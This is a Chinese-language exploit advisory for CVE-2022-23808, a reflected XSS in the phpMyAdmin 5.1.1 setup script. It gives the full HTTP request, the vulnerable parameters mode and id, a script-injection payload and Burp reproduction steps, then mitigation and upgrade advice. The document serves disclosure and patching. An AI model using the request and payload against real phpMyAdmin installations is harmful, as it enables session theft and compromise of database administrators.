phpMyAdmin 利用

利用标题： phpMyAdmin 5.1.1 - XSS（跨站脚本攻击）
利用作者： Dipak Panchal (@th3.d1p4k)
供应商主页： https://www.phpmyadmin.net
软件下载链接： https://www.phpmyadmin.net/files/5.1.1/
受影响版本： 5.1分支中早于5.1.2的phpMyAdmin版本受影响。
测试环境： Windows 10 和 Linux
CVE： CVE-2022-23808
参考： https://www.phpmyadmin.net/security/PMASA-2022-2/

描述：

发现了一系列漏洞，攻击者可能利用这些漏洞向安装脚本的某些方面注入恶意代码，从而导致XSS或HTML注入。

请求：

GET /phpmyadmin/setup/index.php?page=servers&mode=test&id=test  HTTP/1.1      
Host: 127.0.0.1:1234       
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0      
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8      
Accept-Language: en-US,en;q=0.5     
Connection: close   
Cookie: pma_lang=en; phpMyAdmin=fs55xxxxxxx; pma_lang=en; pmaUser-1=xxxxxxxxxxxxxxxxxxxxxxxxxxx; phpMyAdmin=xxxxxxxxxxxxxxx; pmaAuth-1=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx           
Upgrade-Insecure-Requests: 1          
Cache-Control: max-age=0

漏洞参数：

mode
id

有效载荷：

">'><script>alert(document.domain)</script>

复现步骤：

在Burp中捕获上述请求。
将XSS有效载荷替换/更改到漏洞参数中。
点击发送并在浏览器中查看响应。
你将看到弹窗！

概念验证：

2022-01-26_21h45_23

缓解措施：

配置了 config.inc.php 文件的 phpMyAdmin 安装将不允许访问安装脚本，从而缓解此攻击。

修复：

升级到 phpMyAdmin 5.1.2 或更高版本，或应用补丁。

CVE-2022-23808

最受欢迎